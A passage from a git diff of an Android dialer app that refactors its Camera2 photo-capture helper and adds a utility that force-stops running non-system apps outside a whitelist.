Logger.e(TAG, "拍照指令执行完毕"); + } + + @Override + public void onCaptureFailed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureFailure failure) { + Logger.e(TAG, "拍照捕获失败,原因: " + failure.getReason()); + mIsCapturing = false; + sendErrorMessage("拍照捕获失败"); } }, mBackgroundHandler); - } catch (CameraAccessException e) { - Logger.e(TAG, "takePhoto CameraAccessException:" + e.getMessage()); + } catch (CameraAccessException | IllegalArgumentException e) { e.printStackTrace(); sendErrorMessage("拍照失败"); } } - /** - * 停止预览,释放资源 - */ + private int getOrientation(int rotation) { + int deviceOrientation = ORIENTATIONS.get(rotation); + if (mFacing == CAMERA_FRONT) { + return (mSensorOrientation + deviceOrientation) % 360; + } else { + return (mSensorOrientation - deviceOrientation + 360) % 360; + } + } + public void stopRecord() { - Logger.e(TAG, "停止预览,释放资源"); try { if (mCameraCaptureSession != null && !isSessionClosed) { mCameraCaptureSession.stopRepeating(); mCameraCaptureSession.abortCaptures(); mCameraCaptureSession.close(); isSessionClosed = true; + } + if (imageReader != null) { imageReader.close(); imageReader = null; } - if (mCameraDevice != null) + if (mCameraDevice != null) { mCameraDevice.close(); + mCameraDevice = null; + } isCameraDoing = false; } catch (Exception e) { e.printStackTrace(); - Logger.e(TAG, "stopRecord-Exception:" + e.getMessage()); } } - /** - * 重置后,开始预览 - */ - public void reset() { - previewType = PREVIEW_TYPE_NORMAL; - stopRecord(); - openCamera(); - } - - /** - * 在 activity,fragment的onStop中调用 - */ public void onStop() { stopRecord(); } - /** - * 注销 回调 - */ public void onDestroy() { this.cameraCallBack = null; stopBackgroundThread(); - if (cameraManager != null) - cameraManager.unregisterAvailabilityCallback(callback); + if (service != null) { + service.shutdown(); + } this.context = null; } + public void reset() { + onStop(); + openCamera(); + } + /** - * 获得可用的摄像头 - * - * @return SparseArray of available cameras ids。key为摄像头方位,见CameraCharacteristics#LENS_FACING,value为对应的摄像头id + * 切换摄像头(按朝向) */ - public void getCameras() { - if (cameraManager == null) return; - enableCameraList = new ArrayList<>(); + public boolean switchCamera(int facing) { + this.mFacing = facing; + this.mCameraId = null; + if (isCameraDoing) { + onStop(); + } + return true; + } + + /** + * 切换摄像头(按 id) + */ + public boolean switchCamera(String cameraId) { + if (cameraId == null) return false; + this.mCameraId = cameraId; + if (isCameraDoing) { + onStop(); + } + return true; + } + + public String getCameraId() { + return mCameraId; + } + + public String getFrontCameraId() { + return findCameraIdByFacing(CAMERA_FRONT); + } + + public String getBackCameraId() { + return findCameraIdByFacing(CAMERA_BACK); + } + + private String findCameraIdByFacing(int facing) { try { - String[] camerasAvailable = cameraManager.getCameraIdList(); - CameraCharacteristics cam; - Integer characteristic; - Logger.e(TAG, "-------------------------------------"); - for (String id : camerasAvailable) { - Logger.e(TAG, "getCameras:" + id); - try { - enableCameraList.add(Integer.parseInt(id)); - } catch (NumberFormatException e) { - e.printStackTrace(); + for (String id : cameraManager.getCameraIdList()) { + CameraCharacteristics characteristics = cameraManager.getCameraCharacteristics(id); + Integer cameraFacing = characteristics.get(CameraCharacteristics.LENS_FACING); + if (cameraFacing != null && cameraFacing == facing) { + return id; } } - Logger.e(TAG, "-------------------------------------"); } catch (CameraAccessException e) { - Logger.e(TAG, "getCameras CameraAccessException:" + e.getMessage()); + e.printStackTrace(); } + return null; + } + + public void getCameras() { + // 兼容旧版本保留方法 } - /** - * 设置输出数据尺寸选择器,在selectCamera之前设置有效 - * (一般手机支持多种输出尺寸,请用户根据自身需要选择最合适的一种) - * 举例: - * SizeSelector maxPreview = SizeSelectors.and(SizeSelectors.maxWidth(720), SizeSelectors.maxHeight(480)); - * SizeSelector minPreview = SizeSelectors.and(SizeSelectors.minWidth(320), SizeSelectors.minHeight(240)); - * camera.setmOutputSizeSelector(SizeSelectors.or( - * SizeSelectors.and(maxPreview, minPreview)//先在最大和最小中寻找 - * , SizeSelectors.and(maxPreview, SizeSelectors.biggest())//找不到则按不超过最大尺寸的那个选择 - * )); - */ public void getOutputSizeSelector() { - + // 兼容旧版本保留方法 } - - /** - * 获取摄像头信息 - */ - public void getCameraInfo() { - if (enableCameraList == null) { - getCameras(); + private Size getBestSize(List sizes) { + if (sizes == null || sizes.isEmpty()) { + return new Size(1920, 1080); } - if (mCameraId == null) findFrontCamera(); - try { - CameraCharacteristics mCameraCharacteristics = cameraManager.getCameraCharacteristics(mCameraId); - // 设置是否支持闪光灯 - Boolean available = mCameraCharacteristics.get(CameraCharacteristics.FLASH_INFO_AVAILABLE); - mFlashSupported = available == null ? false : available; - StreamConfigurationMap map = mCameraCharacteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP); - if (map == null) { - Logger.e(TAG, "Could not get configuration map."); - return; - } - int mSensorOrientation = mCameraCharacteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);//这个方法来获取CameraSensor的方向。 - - int rotation; - WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { - try { - rotation = context.getDisplay().getRotation(); - } catch (Exception e) { - rotation = wm != null ? wm.getDefaultDisplay().getRotation() : 0; + // 目标宽度:限制为 1080P 级别。 + // 原因:后置摄像头分辨率远高于前置,若直接选取最大尺寸(如 4000x3000 甚至更高), + // 仅用 ImageReader 表面创建 capture session 时极易因内存/设备限制导致配置失败或静默无法出图。 + // 因此优先选择宽度不超过目标值中像素最大的尺寸。 + final int targetWidth = 1920; + Size best = null; + long bestPixels = -1; + for (Size size : sizes) { + if (size.getWidth() <= targetWidth) { + long pixels = (long) size.getWidth() * size.getHeight(); + if (pixels > bestPixels) { + best = size; + bestPixels = pixels; } - } else { - rotation = wm != null ? wm.getDefaultDisplay().getRotation() : 0; - } - - Logger.e(TAG, "camera sensor orientation:" + mSensorOrientation + ",display rotation=" + rotation); - - int[] formats = map.getOutputFormats();//获得手机支持的输出格式,其中jpeg是一定会支持的,yuv_420_888是api21才开始支持的 - for (int format : formats) { - Logger.e(TAG, "手机格式支持: " + format); - } - Size[] yuvOutputSizes = map.getOutputSizes(ImageFormat.YUV_420_888); - Size[] mediaOutputSizes = map.getOutputSizes(MediaRecorder.class); - Size[] previewOutputSizes = map.getOutputSizes(SurfaceTexture.class); - Size[] jpegOutputSizes = map.getOutputSizes(ImageFormat.JPEG); - - recordSizeList = new ArrayList<>(); - imgOutputSizes = new ArrayList<>(); - - Logger.e(TAG, "---------------------------------------------------"); - for (Size size : mediaOutputSizes) { - recordSizeList.add(new Size(size.getWidth(), size.getHeight())); - Logger.e(TAG, "mediaOutputSizes: " + size.toString()); - } - for (Size size : jpegOutputSizes) { - imgOutputSizes.add(new Size(size.getWidth(), size.getHeight())); - Logger.e(TAG, "jpegOutputSizes: " + size.toString()); - } - for (Size size : previewOutputSizes) { - Logger.e(TAG, "previewOutputSizes: " + size.toString()); - } - for (Size size : yuvOutputSizes) { - Logger.e(TAG, "yuvOutputSizes: " + size.toString()); - } - Logger.e(TAG, "---------------------------------------------------"); - } catch (Exception e) { - Logger.e(TAG, "selectCamera Exception:" + e.getMessage()); - } - } - - private Size getOutputSize(List sizes) { - DisplayMetrics dm = context.getResources().getDisplayMetrics(); - int screenWidth = dm.widthPixels; - int screenHeight = dm.heightPixels; - Logger.e(TAG, "getOutputSize: screenWidth = " + screenWidth); - Logger.e(TAG, "getOutputSize: screenHeight = " + screenHeight); - List sorted = sizes.stream().sorted(new Comparator() { - @Override - public int compare(Size o1, Size o2) { - return Long.compare(o1.getHeight() * o1.getWidth(), o2.getHeight() * o2.getWidth()); - } - }).collect(Collectors.toList()); - for (Size size : sorted) { - if (size.getWidth() > screenHeight && size.getHeight() > screenWidth) { - return size; } } - return new Size(1600, 1200); + // 若所有尺寸都超过目标宽度(极少见),退化为选择像素最小的尺寸,确保会话能成功配置 + if (best == null) { + best = Collections.min(sizes, Comparator.comparingLong(s -> (long) s.getWidth() * s.getHeight())); + } + Logger.e(TAG, "选择输出尺寸: " + best); + return best; } - //覆盖性保存 private void saveFile(final byte[] data, final String savePath) { - if (data == null || data.length == 0) return; - if (System.currentTimeMillis() - lastSaveFileTime > 1000) + if (data == null || data.length == 0) { + sendErrorMessage("图片数据为空"); + return; + } + if (System.currentTimeMillis() - lastSaveFileTime > 500) { service.execute(() -> { File file = new File(savePath); File parent = file.getParentFile(); @@ -591,28 +556,25 @@ public class CameraUtil { if (file.exists()) { file.delete(); } - try { - file.createNewFile(); - FileOutputStream fos = new FileOutputStream(file); + try (FileOutputStream fos = new FileOutputStream(file)) { fos.write(data); fos.flush(); - fos.close(); lastSaveFileTime = System.currentTimeMillis(); - Message message = new Message(); - message.what = HANDLER_TAKE_PHOTO_SUCCESS; - message.obj = savePath; - handler.sendMessage(message); - // 保存成功后关闭相机,解决竞态问题 + if (rxEmitter != null) { + rxEmitter.onSuccess(savePath); + rxEmitter = null; + } else { + Message message = new Message(); + message.what = HANDLER_TAKE_PHOTO_SUCCESS; + message.obj = savePath; + handler.sendMessage(message); + } handler.post(() -> onStop()); } catch (IOException e) { e.printStackTrace(); - Logger.e(TAG, "图片保存-IOException:" + e.getMessage()); - Message messagef = new Message(); - messagef.what = HANDLER_ERR; - messagef.obj = "图片保存失败"; - handler.sendMessage(messagef); + sendErrorMessage("图片保存失败"); } }); + } } } - diff --git a/app/src/main/java/com/ttstd/dialer/utils/SystemUtils.java b/app/src/main/java/com/ttstd/dialer/utils/SystemUtils.java index 4c4bdce..d4ff7c4 100644 --- a/app/src/main/java/com/ttstd/dialer/utils/SystemUtils.java +++ b/app/src/main/java/com/ttstd/dialer/utils/SystemUtils.java @@ -44,6 +44,9 @@ import android.util.Log; import android.view.SurfaceControl; import android.view.WindowManager; +import com.ttstd.dialer.BuildConfig; +import com.ttstd.dialer.utils.ApkUtils; + import java.io.BufferedReader; import java.io.FileOutputStream; import java.io.FileReader; @@ -55,9 +58,11 @@ import java.net.NetworkInterface; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; +import java.util.HashSet; import java.util.List; import java.util.Locale; import java.util.Optional; +import java.util.Set; import java.util.concurrent.Callable; import java.util.concurrent.Executor; import java.security.MessageDigest; @@ -972,6 +977,48 @@ public class SystemUtils { } } + /** + * 默认白名单:强制停止应用时需要保留的包名集合。 + * 包括本应用自身、常用社交/工具及输入法应用,避免误杀导致体验问题。 + */ + private static final Set WHITE_RUNNING_APP_SETS = new HashSet() {{ + add(BuildConfig.APPLICATION_ID); + add("com.tencent.mm"); + add("com.ss.android.ugc.aweme"); + add("com.tencent.wetype"); + add("com.tencent.qqpinyin"); + add("com.google.android.inputmethod.pinyin"); + add("com.sohu.inputmethod.sogou"); + add("com.iflytek.inputmethod"); + add("com.baidu.input"); + }}; + + /** + * 清理:强制停止当前正在运行的非白名单、非系统应用(公共方法)。 + *

+ * 供悬浮窗 {@code killApp} 及推送 {@code clean} 等场景复用。 + * + * @param context 上下文 + * @return 被强制停止的应用数量 + */ + public static int killAllApp(Context context) { + Logger.e(TAG, "killAllApp: "); + List runningPackages = getRunningTaskPackages(context); + int count = 0; + for (String pkg : runningPackages) { + if (WHITE_RUNNING_APP_SETS.contains(pkg)) { + continue; + } + if (ApkUtils.isSystemApp(context, pkg)) { + continue; + } + count++; + killBackgroundProcesses(context, pkg); + } + Logger.e(TAG, "killAllApp: stopped " + count + " apps"); + return count; + } + public static void removeTask(Context context, String packageName) { Logger.e(TAG, "removeTask: " + packageName); // if (Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {